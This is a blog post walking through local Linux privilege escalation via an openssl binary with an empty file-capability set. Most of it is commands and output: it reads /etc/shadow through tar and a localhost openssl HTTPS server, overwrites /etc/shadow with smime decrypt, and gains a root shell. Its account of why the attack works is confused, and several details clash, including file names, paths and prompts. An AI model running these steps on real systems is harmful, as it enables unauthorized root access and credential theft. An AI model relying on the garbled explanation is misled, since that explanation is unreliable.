Day 44: Linux Capabilities Privilege Escalation via OpenSSL with SELinux Enabled and Enforced

Atumcell Labs · Follow
3 min read · Feb 12, 2019

Linux Capabilities

> *For the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes (whose effective user ID is 0, referred to as superuser or root), and unprivileged processes (whose effective UID is nonzero). Privileged processes bypass all kernel permission checks, while unprivileged processes are subject to full permission checking based on the process's credentials (usually: effective UID, effective GID, and supplementary group list). Starting with kernel 2.2, Linux divides the privileges traditionally associated with superuser into distinct units, known as capabilities, which can be independently enabled and disabled. Capabilities are a per-thread attribute.*

Read more about the actual capabilities here: http://man7.org/linux/man-pages/man7/capabilities.7.html

There has also been some nice articles written about using capabilities for priv esc by abusing binaries that can do certain things, like read and write files etc.

Find out what capabilities are Enabled

```
[user@box ~]$ getcap -r / 2>/dev/null
```

You will get output like the following…

```
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/user/tcpdump = cap_net_admin,cap_net_raw+ep
/home/user/openssl =ep
```

A classic example…

Let's say tar has "tar = cap_dac_read_search+ep" which means tar has read access to *anything*. We can abuse this to read /etc/shadow by utilising the function of archiving a file.

```
[user@box ~]$ tar -cvf shadow.tar /etc/shadow
[user@box ~]$ tar -xvf shadow.tar
[user@box ~]$ cat etc/shadow
root:$6$saltsalt$HOC6AvLVkxCTYnJ5Tc78.CYF/KdcBDmheMbOGQTqiMUZhdKof
7eXjN9/6I3w8smybsEQEaz5Vh8aoGGs71hf20:17673:0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::
...
```

But what is special about our output, if you look closely this should stick out…

```
/home/user/openssl =ep
```

=ep, nice! It's blank, however unlike when most thinks are blank people think nothing, in this case if you call it from the right location, like the digital equivalent of The Hamptons, then you will immediately be entitled to the same level of privilege, aka from root dir, have everything.

How is this possible? From the man pages…

> *Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0.*

Let's try and use our binary that has an empty capability set (=ep)

```
[user@box ~]$ openssl smime -decrypt -in /tmp/shadow.enc -inform
DER -inkey /tmp/privkey.pem -out /etc/shadow3
Enter pass phrase for /tmp/privkey.pem:
Can't open output file /etc/shadow
140131862038416:error:0200100D:system library:fopen:Permission
denied:bss_file.c:175:fopen('/etc/shadow','w')
140131862038416:error:2006D002:BIO routines:BIO_new_file:system
lib:bss_file.c:184:
```

As we can see, **Permission denied.** As expected, this is because we inherited our low level capabilities. Thanks Linux for protecting us, or not?!

Let's bypass this safeguard and inherit the world, well at least some decent capabilities…

Now we will execute the same binary just from the root directory, /, this will mean we then inherit all the correct permissions to read and to write ANYWHERE!

Exploit Prep

First we need to read current /etc/shadow.

```
[user@box ~]$ cd /tmp
[user@box ~]$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -
out cert.pem -days 365 -nodes
```

Now let's start a server so we can read root files…

Target Host

```
[user@box ~]$ cd /
[user@box ~]$ openssl s_server -key /tmp/key.pem -cert
/tmp/cert.pem -port 1337 -HTTP
```

Another Low-Priv Terminal on Same Host

```
[user@box ~]$ curl -k "https://127.0.0.1:1337/etc/shadow"
root:$6$saltsalt$HOC6AvLVkxCTYnJ5Tc78.CYF/KdcBDmheMbOGQTqiMUZhdKof
7eXjN9/6I3w8smybsEQEaz5Vh8aoGGs71hf20:17673:0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::
....
```

We use -k to ignore ssl errors. Nice, we can now read any root or system files. Now time to write a new shadow file and profit.

Day 40: Privilege Escalation (Linux) by Modifying Shadow File for the Easy Win
Scenario
medium.com

First let's encrypt our new shadow file so we can use openssl to write via decrypt method.

```
[user@box ~]$ openssl smime -encrypt -aes256 -in /tmp/shadow -
binary -outform DER -out /tmp/shadow.enc /tmp/cert.pem
```

Now it's time to write the new shadow file

```
[user@box ~]$ cd /
[user@box /]$ /home/ldapuser1/openssl smime -decrypt -in
/tmp/shadow.enc -inform DER -inkey /tmp/privkey.pem -out
/etc/shadow
Enter pass phrase for /tmp/privkey.pem:
[user@box /]$ IT WORKED!
```

Finally, lets su to root

```
[user@box /]$ su root
Password:
[root@box /]# id
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

Ssl Linux Hacking Cybersecurity Infosec

-- 2

Written by Atumcell Labs

Follow

2.3K Followers

Security Research Team @ Atumcell